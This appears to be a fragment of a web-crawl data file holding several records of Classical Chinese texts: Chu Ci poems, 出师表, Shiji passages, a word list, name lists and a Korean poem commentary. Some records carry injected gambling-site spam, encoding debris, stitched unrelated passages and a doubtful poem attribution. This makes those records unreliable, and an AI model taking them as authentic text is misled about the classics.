桓缪兮,世孰云而知之。吴信谗而弗味兮,子胥死而后忧。介子忠而立枯兮,文君寤而追求。封介山而为之禁兮,报大德之优游。思久故之亲身兮,因缟素而哭之。或忠信而死节兮,或訑谩而不疑。弗省察而按实兮,听谗人之虚辞。芳与泽其杂糅兮,孰申旦而别之?何芳草之早殀兮,微霜降而下戒。谅聪不明而蔽壅兮,使谗谀而日得。自前世之嫉贤兮,谓蕙若其不可佩。妒佳冶之芬芳兮,嫫母姣而自好。虽有西施之美容兮,谗妒入以自代。愿陈情以白行兮,得罪过之不意。情冤见之日明兮,如列宿之错置。乘骐骥而驰骋兮,无辔衔而自载;乘泛泭以下流兮,无舟楫而自备。背法度而心治兮,辟与此其无异。宁溘死而流亡兮,恐祸殃之有再。不毕辞而赴渊兮,惜壅君之不识。后皇嘉树,橘徕服兮。受命不迁,生南国兮。深固难徙,更壹志兮。绿叶素荣,纷其可喜兮。曾枝剡棘,圆果抟兮。青黄杂糅,文章烂兮。精色内白,类任道兮。纷緼宜修,姱而不丑兮。嗟尔幼志,有以异兮。独立不迁,岂不可喜兮?深固难徙,廓其无求兮。苏世独立,横而不流兮。闭心自慎,终不失过兮。秉德无私,参天地兮。愿岁并谢,与长友兮。淑离不淫,梗其有理兮。年岁虽少,可师长兮。行比伯夷,置以为像兮。【悲回风】悲回风之摇蕙兮,心冤结而内伤。物有微而陨性兮,声有隐而先倡。夫何彭咸之造思兮,暨志介而不忘!万变其情岂可盖兮,孰虚伪之可长?鸟兽鸣以号群兮,草苴比而不芳。鱼葺鳞以自别兮,蛟龙隐其文章。故荼荠不同亩兮,兰茝幽而独芳。惟佳人之永都兮,更统世而自贶。眇远志之所及兮,怜浮云之相羊。介眇志之所惑兮,窃赋诗之所明。惟佳人之独怀兮,折若椒以自处。曾歔欷之嗟嗟兮,独隐伏而思虑。涕泣交而凄凄兮,思不眠以至曙。终长夜之曼曼兮,掩此哀而不去。寤从容以周流兮,聊逍遥以自恃。伤太息之愍怜兮,气于邑而不可止。糺思心以为纕兮,编愁苦以为膺。折若木以弊光兮,随飘风之所仍。存彷佛而不见兮,心踊跃其若汤。抚珮衽以案志兮,超惘惘而遂行。岁曶曶其若颓兮,时亦冉冉而将至。薠蘅槁而节离兮,芳以歇而不比。怜思心之不可惩兮,证此言之不可聊。宁溘死而流亡兮,不忍此心之常愁。孤子吟而抆泪兮,放子出而不还。孰能思而不隐兮,照彭咸之所闻。登石峦以远望兮,路眇眇之默默。入景响之无应兮,闻省想而不可得。愁郁郁之无快兮,居戚戚而不可解。心鞿羁而不开兮,气缭转而自缔。穆眇眇之无垠兮,莽芒芒之无仪。声有隐而相感兮,物有纯而不可为。邈漫漫之不可量兮,缥绵绵之不可纡。愁悄悄之常悲兮,翩冥冥之不可娱。凌大波而流风兮,讬彭咸之所居。上高岩之峭岸兮,处雌蜺之标颠。据青冥而摅虹兮,遂儵忽而扪天。吸湛露之浮源兮,漱凝霜之雰雰。依风穴以自息兮,忽倾寤以婵媛。冯昆仑以澂雾兮,隐渂山以清江。惮涌湍之礚礚兮,听波声之汹汹。纷容容之无经兮,罔芒芒之无纪。轧洋洋之无从兮,驰委移之焉止?漂翻翻其上下兮,翼遥遥其左右。氾潏潏其前后兮,伴张驰之信期。观炎气之相仍兮,窥烟液之所积。悲霜雪之俱下兮,听潮水之相击。借光景以往来兮,施黄棘之枉策。求介子之所存兮,见伯夷之放迹。心调度而弗去兮,刻著志之无适。曰吾怨往昔之所冀兮,悼来者之悐悐。浮江淮而入海兮,从子胥而自适。望大河之洲渚兮,悲申徒之抗迹。骤谏君而不听兮,重任石之何益?心絓结而不解兮,思蹇产而不释。","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/hanyu.baidu.com\/shici\/detail?pid=ce72db1ef57411e5b809c8e0eb15ce01","date":"2021-04-11T16:28:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038064520.8\/warc\/CC-MAIN-20210411144457-20210411174457-00491.warc.gz","language":"lzh","language_score":0.4047877789,"language_script":"Hani","minhash_cluster_size":15,"top_langs":"{\"lzh_Hani_score\": 0.4047877788543701, \"zxx_Latn_score\": 0.11086020618677139, \"und_Xsux_score\": 0.0443117618560791, \"und_Tang_score\": 0.043172866106033325, \"nan_Hani_score\": 0.042066704481840134, \"und_Cans_score\": 0.01869058981537819, \"und_Egyp_score\": 0.018453696742653847, \"und_Yiii_score\": 0.01588541269302368, \"und_Grek_score\": 0.015324443578720093, \"cmn_Hani_score\": 0.01530704740434885, \"und_Sgnw_score\": 0.01278260350227356, \"und_Hluw_score\": 0.012178578414022923, \"und_Ethi_score\": 0.011973397806286812, \"und_Nshu_score\": 0.011667992919683456, \"und_Cyrl_score\": 0.011427788063883781, \"und_Glag_score\": 0.011332796886563301}","num_words":4,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.158,"perplexity_score":500.0,"cluster_detection":1} +{"text":"朝代:唐朝 作者:孟浩然 君不见巫山神女不作行云,霏红沓翠晓氛氲。婵娟流向楚王梦,倏忽还随零雨分。空中飞过始飞到,朝朝暮暮下阳台。恨君此去为仙尉,之后逐行云去不返。\n本文来源:金年会-www.zxsecu.com","id":"","dump":"CC-MAIN-2022-33","url":"http:\/\/www.zxsecu.com\/a\/xinwen\/xingyexinwen\/370.html","date":"2022-08-16T14:08:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572304.13\/warc\/CC-MAIN-20220816120802-20220816150802-00119.warc.gz","language":"lzh","language_score":0.6930831075,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6930831074714661, \"cmn_Hani_score\": 0.17886146903038025, \"wuu_Hani_score\": 0.058018606156110764, \"yue_Hani_score\": 0.04359541833400726, \"jpn_Jpan_score\": 0.016950007528066635}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.725,"perplexity_score":500.0,"cluster_detection":1} +{"text":"出師表\n臣亮言。先帝創業未半、而中道崩殂。今天下三分、益州疲敝、此誠危急存亡之秋也。然侍衞之臣、不懈於內、忠志之士、忘身於外者。蓋追先帝之殊遇、欲報之於陛下也。誠宜開張聖聽、以光先帝遺德、恢弘志士之氣。不宜妄自菲薄、引喩失義、以塞忠諫之路也。宮中府中、俱爲一體。陟罰臧否、不宜異同。若有作奸犯科、及爲忠善者、宜付有司、論其刑賞、以昭陛下平明之理。不宜偏私、使內外異法也。\n侍中・侍郞郭攸之・費禕・董允等、此皆良實、志慮忠純、是以先帝簡拔以遺陛下。愚以爲宮中之事、事無大小、悉以咨之、然後施行、必得裨補闕漏、有所廣益。將軍向寵、性行淑均、曉暢軍事、試用之於昔日、先帝稱之曰「能」、是以衆議舉寵爲督。愚以爲營中之事、悉以咨之、必能使行陣和穆、優劣得所也。\n親賢臣、遠小人、此先漢所以興隆也。親小人、遠賢臣、此後漢所以傾頽也。先帝在時、每與臣論此事、未嘗不歎息痛恨於桓・靈也!侍中・尚書・長史・參軍、此悉貞良死節之臣也。願陛下親之、信之、則漢室之隆、可計日而待也。\n臣本布衣、躬耕南陽、苟全性命於亂世、不求聞達於諸侯。先帝不以臣卑鄙、猥自枉屈、三顧臣於草廬之中、諮臣以當世之事。由是感激、遂許先帝以馳驅。後値傾覆、受任於敗軍之際、奉命於危難之間。爾來二十有一年矣。先帝知臣謹愼、故臨崩寄臣以大事也。\n受命以來、夙夜憂慮、恐託付不效、以傷先帝之明。故五月渡瀘、深入不毛。今南方已定、兵甲已足、當獎率三軍、北定中原、庶竭駑鈍、攘除奸凶、興復漢室、還於舊都。此臣所以報先帝而忠陛下之職分也。至於斟酌損益、進盡忠言、則攸之・禕・允等之任也。\n願陛下託臣以討賊興復之效、不效則治臣之罪、以告先帝之靈。若無興德之言、則責攸之・禕・允等之慢、以彰其咎。陛下亦宜自謀、以諮諏善道、察納雅言、深追先帝遺詔。臣不勝受恩感激!今當遠離、臨表涕泣、不知所云。","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/ja.wikisource.org\/wiki\/%E5%87%BA%E5%B8%AB%E8%A1%A8","date":"2019-01-24T11:52:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547584520525.90\/warc\/CC-MAIN-20190124100934-20190124122934-00540.warc.gz","language":"lzh","language_score":0.7005467415,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7005467414855957, \"cmn_Hani_score\": 0.1898176223039627, \"nan_Hani_score\": 0.04809241741895676, \"jpn_Jpan_score\": 0.026071878150105476, \"wuu_Hani_score\": 0.013998841866850853}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.703,"perplexity_score":500.0,"cluster_detection":1} +{"text":"雨後春巒盡翠眉\n插花臨水杳佳期\n薄言採採芙蓉色\n爲美人裳欲贈之\n비 온 뒤 봄 산의 취미대 끝이 지극한데\n물속에 꽃을 꽂은 듯 아름다운 시절 그득하다.\n눌언에 말은 못하고 색깔 좋은 부용을 꺾어다가\n미인의 치마로 만들어 주고 싶구나.\n아래 글은 길어서 띄어쓰기 표기해 주었음.\n翠微臺 在西三面 外硯里 舊硯湖祠 後突立 一小岡 鰕鎭大野上 有石臺 呑兩川 俱八景 臺上有盤松 撑天作柱 蔽日爲蓋 其勝狀冠於全境 爲宋氏世傳 肅詠之所 慕庵宋昶有詩且多 前輩 題詠菴値 壬申西亂 作祝天文 社稷不幸 生民不幸 西賊作亂 驚 宸聽天 特性 顧國 必速敗滅 蒼蒼高 遠視聽卑近 無聲無臭 純乎一眞 窕窕冥冥 是保是佑 不待時曰 逮敗速滅 )每夜祝于此臺 其時府使 及備邊使 報啓中 且以翠微臺 祝天文 觀之其忠智竝可推驗 云云 曾年該盤松 爲風雨所拔 故石松宋榮淳 寓意於此 自爲號松沙 奇宇萬著石松記","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/jinsong.or.kr\/php\/board.php?board=freeboard&command=body&no=449","date":"2019-04-22T02:20:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578533774.1\/warc\/CC-MAIN-20190422015736-20190422041736-00206.warc.gz","language":"lzh","language_score":0.7410644293,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7410644292831421, \"cmn_Hani_score\": 0.23756559193134308}","num_words":88,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.741,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王天朵 王澜程 王泽鑫 王明涛 王凡弢 王汲尧 旺格华 王江硕 王文 王金文 王浩伟 王鑫桐 王是峰 王逸荥 王上宏 王历如 王启庆 王翊洛 王荣涛 王浩斌 浩英王 王新山 王承迅 王晨林 王家臣 王杏烨 王柯如 王幼棋 王安萱 小国的君主谣 王志仁 王裕西 王梓开 王诗泳 王九楷 王郦毅 王洪平 王彦…雄 王拥宁 王敬河 乐明王 择仁王 王维涵 王闵艺 澳门新濠天地网址 林浩王 小国的君主文 王雪乐 王若君 王耀卿 敲钟罡 王树钢 王拉涵 王广原 肖健营 王羽杰 王艳栋 王明涛 金尧王 王珽利 王爱仁 王孟魁 王传亿 王寅江 王尚欣 王玉宝 王东源 王太杰 王鲳宇 王雨伟 王汉瀚 王浩龄 王熠涵 王杰逸 王其涛 王关宇 王城澎 王潼豪 王艺辉 王义成 义阳王 王桂然 王瑞元 王振丁 王梓洛 王俊召 旺格任 王嘉禄 王辰华 王嘉璞 王以涛 王家源 旺格羽 王一喻 王红宏 王长凤 王志杰 王东文 王成智 王传玄 王委明 王轩悦 王士宇 长王平 王默东 王艺萁 王开西 王钰程 王昆龙 王语博 王超益 王志华 浩华王 王泽钧 王文辉 王家欣 王安电脑公司涵 王明昕 王东然 王旭铭 祺国 王少洲 王海明 王家清 王炳涛 王有舞 宗惠王 王泽飞 王左升 王禹颖 王勇收 王江霖 王志乐 王渊珠 王维城 纪王 王炳彬 王熙军 王育健 王文涛 王修民 王正遇 王振奎 王齐冰 王文雅 王本鑫 王宝策 王润勋 王玉龙 小国的君主擎 王奇应 王小康 王昌涵 王金赫 王弋飞 王鲜远 王光霖 王泽轶 王旭恒 王震培 王知伊 王家新 王成明 王文兴 王可运 王建绘 王晋潆 王宁涵 王化宝 王天心 王盛柏 王昌睿 王甫文 王望裕 森林中王 王俊江 王文励 王沣胜 王游菡 王保雨 王润韬 王孟藿 王亚彬 王润成 王渊菡 王元乐 小吴王 王泽堡 王一杰 王博标 王仁琴 蒋望 王佐云 王思宜 王添杰 王佚豪 王嫣东 王凡豪 王彪福 王晋祺\n只装修会诊,我缺少能帮忙你。!","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.ctaixing.com\/amxztdgw\/1031.html","date":"2019-10-19T11:09:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986692723.54\/warc\/CC-MAIN-20191019090937-20191019114437-00045.warc.gz","language":"lzh","language_score":0.9838942885,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9838942885398865, \"nan_Hani_score\": 0.014452120289206505}","num_words":201,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":500.0,"cluster_detection":1} +{"text":"w88英欧贸易谈判定于3月和5月份期间进行五轮\n成公立四年卒。子七人,莫立,立其弟缪公。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n曹沫者,鲁人也,以勇力事鲁庄公。庄公好力。曹沫为鲁将,与齐战,三败北。鲁庄公惧,乃献遂邑之地以和。犹复以为将。\n赵悼襄王元年,廉颇既亡入魏,赵使李牧攻燕,拔武遂、方城。居二年,庞暖破燕军,杀剧辛。後七年,秦破杀赵将扈辄於武遂,斩首十万。赵乃以李牧为大将军,击秦军於宜安,大破秦军,走秦将桓齮。封李牧为武安君。居三年,秦攻番吾,李牧击破秦军,南距韩、魏。\n顷之,景帝居禁中,召条侯,赐食。独置大胾,无切肉,又不置櫡。条侯心不平,顾谓尚席取櫡。景帝视而笑曰:\"此不足君所乎?\"条侯免冠谢。上起,条侯因趋出。景帝以目送之,曰:\"此怏怏者非少主臣也!\"","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mobile.sharecut.com\/QEWNI31335.html","date":"2020-02-28T20:49:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875147647.2\/warc\/CC-MAIN-20200228200903-20200228230903-00434.warc.gz","language":"lzh","language_score":0.3934749067,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39347490668296814, \"cmn_Hani_score\": 0.35762453079223633, \"nan_Hani_score\": 0.07136400043964386, \"wuu_Hani_score\": 0.04342978447675705, \"zxx_Latn_score\": 0.019181128591299057, \"yue_Hani_score\": 0.015187377110123634, \"und_Cyrl_score\": 0.011014338582754135, \"jpn_Jpan_score\": 0.010272711515426636}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.441,"perplexity_score":500.0,"cluster_detection":1} +{"text":"展开全部 为您奉上:2113 相机观变 相机行5261事 相迹 相基4102 相及 相极1653 相疾 相辑 相几 相际 相济 相继 相家 相戛 相戞 相甲 相假 相奸 相坚 相间 相兼 相煎 相煎何急 相煎太急 相见 相见恨晚 相见恨晩 相见欢(无言独上西楼) 相见无日 相将 相交 相交有年 相角 相脚头 相叫 相接 相结 相结合 相借 相矜 相尽 相近 相进 相经 相惊伯有 相竞 相敬如宾 相纠 相摎 相樛 相救 相就 相距 相聚 相捐 相绝 相君 相看 相抗 相克 相克现象 相克相济 相夸 相况 相窥 相暌 相蓝 相篮 相类 相类相从 相离 相礼 相里 相厉 相吏 相丽 相戾 相俪 相册 相厕 相察 相差 相差无几 相搀 相禅 相长 相朝 相吵 相臣 相衬 相称 相趁 相成 相承 相乘 相持 相持不下 相齿 相仇 相俦 相畴 相酬 相雠 相出 相出没 相杵 相处 相传 相船 相次 相佽 相从 相凑 相促相桚 相存 相错 相打 相待 相待而成 相待如宾 相当 相荡 相导 相道 相得 相得甚欢 相得无间 相得益章 相得益彰 相等 相敌 相抵 相地 相地家 相踶 相吊 相动 相度 相对 相对分子质量 相对论 相对剩余价值 相对湿度 相对速度 相对无言 相对误差 相对新亭 相对压强 相对与绝对 相对原子质量 相女配夫 相呕 相偶 相耦 相配 相朋 相碰 相匹 相片 相偏 相品 相婆 相扑 相扑人 相扑手 相朴人 相圃 相戚 相门 相门出相 相门洒埽 相门相种 相门有相 相蒙 相靡 相觅 相面 相面先生 相命 相缪 相摩 相磨 相牟 相侔 相谋 相墓 相墓工 相墓术 相慕 相难 相能 相昵 相鸟 相嬲 相辅相成 相父 相附 相副 相干 相竿摩 相感 相隔 相跟 相工 相公 相公(xiàng-) 相公鹾 相公堂子 相公竹 相共 相顾 相顾失色 相乖 相关 相观 相规 相衮 相国 相国寺 相国庄 相过 相醢 相好 相合 相合日 相和 相和歌 相衡 相后 相厚 相候 相互 相互尊重 相护 相欢 相唤 相徽 相会 相浑 相混 相溷 相讥 相击 相机 相机而动 相机而行 相机而言 相连 相连爱 相怜 相怜爱 相恋 相缭 相料 相埒 相邻 相临 相凌 相陵 相留 相柳 相禄 相率 相乱 相伦 相轮 相麻 相马 相期 相欺 相契 相嵌 相强 相诮 相切相磋 相挈 相亲 相亲相爱 相轻 相倾 相求 相驱 相趋 相去 相去几何 相去天渊 相去无几 相去悬殊 相去咫尺 相觑 相权 相劝 相然 相嚷 相让 相携 相信 相星 相刑 相行 相形 相形见绌 相形见拙 相形失色 相胥 相须 相须而行 相须为命 相需 相许 相呴相济 相呴相濡 相呴以湿 相序 相勖 相续 相喣沫 相喣以沫 相宣 相悬 相谑 相寻 相迿 相逊 相亚 相迓 相沿 相沿成俗 相沿成习 相掩 相验 相猒 相央 相羊 相佯 相徉 相繇 相要 相爷 相业 相一 相依 相依为命 相揖 相资 相訾 相字 相宗 相捽 相左 相坐 相仪 相诒 相宜 相疑 相倚为强 相忆 相异 相挹 相翼 相因 相因相生 相印 相印法 相应 相撄 相盈 相赢 相映 相映成趣 相用 相优 相攸 相尤 相犹 相猷 相友 相佑 相于 相娱 相与 相与为一 相与一口 相语 相御 相遇 相援 相远 相怨 相约 相悦 相越 相杂 相贼 相憎 相轧 相宅 相仗 相杖 相招 相者 相枕 相争 相蒸 相诤 相支 相知 相知恨晚 相知恨晩 相知有素 相直 相值 相制 相质 相窒 相中 相踵 相重 相周 相赒 相属 相助 相庄 相庄如宾 相状 相撞 相准 相斫书 相着 相爱 相安无事 相安相受 相拜 相板 相半 相伴 相邦 相帮 相幇 相傍 相谤 相保 相报 相背 相倍 相悖 相逼 相逼 相比 相毙 相敝 相獘 相表 相表里 相别 相宾 相柄 相并 相伯仲 相搏 相薄 相步 相猜 相参 相叅 相对运动 相对真理 相厄 相戹 相恶 相发 相伐 相阀 相法 相烦 相反 相反数 相反相成 相返 相犯 相饭 相方 相妨 相仿 相仿相效 相彷 相放 相分 相纷 相风 相风使帆 相风铜乌 相逢 相逢恨晚 相逢恨晩 相逢狭路 相孚 相扶 相符 相府 相辅 相辅而行 相骂 相骂榜 相卖 相贸 相貌 相貌堂堂 相浼 相饶 相扰 相人 相人偶 相忍为国 相刃 相认 相仍 相容 相如 相如草 相如渴 相如台 相如檄 相濡沫 相濡相呴 相濡以沫 相濡以泽 相入 相若 相杀 相善 相嬗 相伤 相商 相上 相尚 相涉 相生 相生现象 相生相成 相生相克 相声 相胜 相失交臂 相师 相时 相时度力 相时而动 相识 相矢 相士 相事 相视 相视而笑 相视而笑,莫逆于心 相视莫逆 相视失色 相室 相是 相簭 相首 相受 相授 相书 相孰 相熟 相鼠 相鼠有皮 相术 相帅 相帅成风 相水火 相说 相司 相思 相思病 相思草 相思木 相思曲 相思树 相思业 相思债 相思子 相死 相似 相似图形 相似相溶规则 相隋 相随 相台 相态 相探 相提并论 相提而论 相体 相体裁衣 相天 相停 相挺 相通 相同 相投 相图 相推 相托 相外 相万 相王 相忘 相忘鳞 相忘形骸 相望 相为 相为表里 相为命 相违 相维 相尾 相位 相位差 相位角 相谓 相闻 相问 相乌 相迕 相晤 相希 相习 相习成风 相习成俗 相袭 相媳妇 相玺 相系 相狎 相下 相吓 相先 相衔 相县 相翔 相向 相像 相肖 相効 相校 相偕www.shufadashi.com*�ɼ*�\n相暌 拼音: xiān* kuí 解释: 1.互相背离。\n.\n- - - -\n相暌\n拼音:\nxiān* kuí\n解释:\n1.互相背离。\n展开全部若果不是和你分开,我就不会知道原来我每天在思念你!*展开全部日日都在想你*展开全部要不是与我相互分离,我怎么知道天天在想念我*www.shufadashi.com*ɼ*�\n声明:本网内容旨在传播知识仅供参考,不代表本网赞同其观点,文字及图片版权归原网站所有。","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/shufadashi.com\/b\/1717\/y617178692.html","date":"2020-10-29T11:22:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107904039.84\/warc\/CC-MAIN-20201029095029-20201029125029-00130.warc.gz","language":"lzh","language_score":0.7211871743,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.721187174320221, \"nan_Hani_score\": 0.23436087369918823, \"cmn_Hani_score\": 0.0264637041836977, \"wuu_Hani_score\": 0.01799674704670906}","num_words":664,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.725,"perplexity_score":500.0,"cluster_detection":1} +{"text":"退出恶党的团组织,迎接光明的未来。\n声明人:李瑞芳 胡正方 张凤菊 单仁良 王义堂 何明君 韩福义 徐庆 汪秀华 胡清源 赵忠义 张健 蔡文禄 樊洪燕 石景山 郭振义 陈庆忠 时春兰 赵凤琴 候殿忠 吕秀莲 任成章 候君 吴凤华 候艳芳 何君 李荣丽 王燕 贾荣柱 贾荣丽 张凤琴 谭秀凤 石常安 韩庆仁 康凤云 贾世光 江清华 朴秀丽 贾世兴 耿岩 贾云芳 高成志 贾云凤 曹德志 董淑珍 于桂贤 孙华 申玉坤 周娟 孙继忠 王艳丽 王艳芳 齐永志 王安良 何芳 申美凤 张玉君 张永庆 吕祥 吕志军 王凤琴 赫英达 绍玉亮 常宝玉 黄荣芳 李贵兴 李桂珍 那洪义 刘凤华 董常义 于凤贤 王艳丽 王凤华 蔡君 申兴达 曲成洲 曹凤华 申美玲 赵文娟 王成君 那贵兴 孙华 蔡晓华 王贵安 那淑云 孙继祥 王志兴 于桂贤 董常君","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/tuidang.epochtimes.com\/index\/showpost\/id\/26973961","date":"2021-03-02T05:39:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178363217.42\/warc\/CC-MAIN-20210302034236-20210302064236-00096.warc.gz","language":"lzh","language_score":0.6578702331,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6578702330589294, \"cmn_Hani_score\": 0.21012362837791443, \"nan_Hani_score\": 0.125989630818367}","num_words":90,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.655,"perplexity_score":500.0,"cluster_detection":1} +{"text":"下载百度汉语App\n名师好课免费看\n九章之七 惜往日\n惜往日之曾信兮,受命诏以昭时。奉先功以照下兮,明法度之嫌疑。国富强而法立兮,属贞臣而日竢。秘密事之载心兮,虽过失犹弗治。心纯庞而不泄兮,遭谗人而嫉之。君含怒而待臣兮,不清澈其然否。蔽晦君之聪明兮,虚惑误又以欺。弗参验以考实兮,远迁臣而弗思。信谗谀之浑浊兮,盛气志而过之。何贞臣之无罪兮,被离谤而见尤。惭光景之诚信兮,身幽隐而备之。临沅湘之玄渊兮,遂自忍而沉流。卒没身而绝名兮,惜壅君之不昭。君无度而弗察兮,使芳草为薮幽。焉舒情而抽信兮,恬死亡而不聊。独障壅而弊隐兮,使贞臣为无由。闻百里之为虏兮,伊尹烹于庖厨。吕望屠于朝歌兮,宁戚歌而饭牛。不逢汤武与桓缪兮,世孰云而知之。吴信谗而弗味兮,子胥死而后忧。介子忠而立枯兮,文君寤而追求。封介山而为之禁兮,报大德之优游。思久故之亲身兮,因缟素而哭之。或忠信而死节兮,或訑谩而不疑。弗省察而按实兮,听谗人之虚辞。芳与泽其杂糅兮,孰申旦而别之?何芳草之早殀兮,微霜降而下戒。谅聪不明而蔽壅兮,使谗谀而日得。自前世之嫉贤兮,谓蕙若其不可佩。妒佳冶之芬芳兮,嫫母姣而自好。虽有西施之美容兮,谗妒入以自代。愿陈情以白行兮,得罪过之不意。情冤见之日明兮,如列宿之错置。乘骐骥而驰骋兮,无辔衔而自载;乘泛泭以下流兮,无舟楫而自备。背法度而心治兮,辟与此其无异。宁溘死而流亡兮,恐祸殃之有再。不毕辞而赴渊兮,惜壅君之不识。","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/dict.baidu.com\/shici\/detail?pid=2cc38a335b25b6f264ddc25892e447ea","date":"2021-04-21T15:29:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039544239.84\/warc\/CC-MAIN-20210421130234-20210421160234-00435.warc.gz","language":"lzh","language_score":0.4454276562,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.44542765617370605, \"zxx_Latn_score\": 0.12427344918251038, \"und_Xsux_score\": 0.057632990181446075, \"und_Grek_score\": 0.04322727024555206, \"nan_Hani_score\": 0.023550447076559067, \"und_Egyp_score\": 0.02119453251361847, \"und_Hluw_score\": 0.018573492765426636, \"und_Tang_score\": 0.018095066770911217, \"cmn_Hani_score\": 0.01685188151896, \"und_Hira_score\": 0.015091609209775925, \"und_Cyrl_score\": 0.014633623883128166, \"und_Sgnw_score\": 0.010365784168243408}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.225,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n彭邦 彭奔 彭彪 彭标 彭彬 彭斌 彭膑 彭冰 彭丙 彭波 彭帛 彭勃 彭博 彭渤 彭才 彭灿 彭璨 彭昶 彭超 彭朝 彭潮 彭琛 彭臣 彭宸 彭晨 彭成 彭承 彭诚 彭程 彭澄 彭骋 彭弛 彭驰 彭冲 彭楚 彭川 彭春 彭慈 彭聪 彭达 彭大 彭丹 彭单 彭聃 彭德 彭迪 彭鼎 彭东 彭冬 彭朵 彭二 彭帆 彭范 彭方 彭仿 彭飞 彭菲 彭斐 彭丰 彭风 彭峰 彭烽 彭锋 彭刚 彭岗 彭钢 彭瓜 彭光 彭广 彭炅 彭海 彭海 彭海 彭含 彭涵 彭好 彭昊 彭浩 彭皓 彭灏 彭赫 彭鹤 彭恒 彭宏 彭洪 彭虹 彭鸿 彭湖 彭虎 彭华 彭桦 彭欢 彭幻 彭焕 彭皇 彭晖 彭辉 彭卉 彭荟 彭惠 彭慧 彭或 彭戟 彭冀 彭佳 彭嘉 彭坚 彭简 彭建 彭剑 彭健 彭江 彭姣 彭骄 彭杰 彭婕 彭捷 彭谨 彭锦 彭瑾 彭劲 彭进 彭晋 彭京 彭晶 彭景 彭净 彭竞 彭竟 彭静 彭镜 彭炯 彭鞠 彭菊 彭军 彭君 彭俊 彭骏 彭凯 彭垲 彭恺 彭铠 彭慨 彭楷 彭锴 彭柯 彭珂 彭科 彭轲 彭坤 彭兰 彭岚 彭澜 彭浪 彭劳 彭乐 彭雷 彭磊 彭蕾 彭犁 彭漓 彭黎 彭力 彭历 彭立 彭利 彭沥 彭隶 彭俐 彭荔 彭良 彭亮 彭林 彭躏 彭凌 彭铃 彭龄 彭六 彭龙 彭隆 彭露 彭潞 彭璐 彭迈 彭曼 彭茂 彭枚 彭媚 彭梦 彭苗 彭秒 彭淼 彭敏 彭名 彭明 彭茗 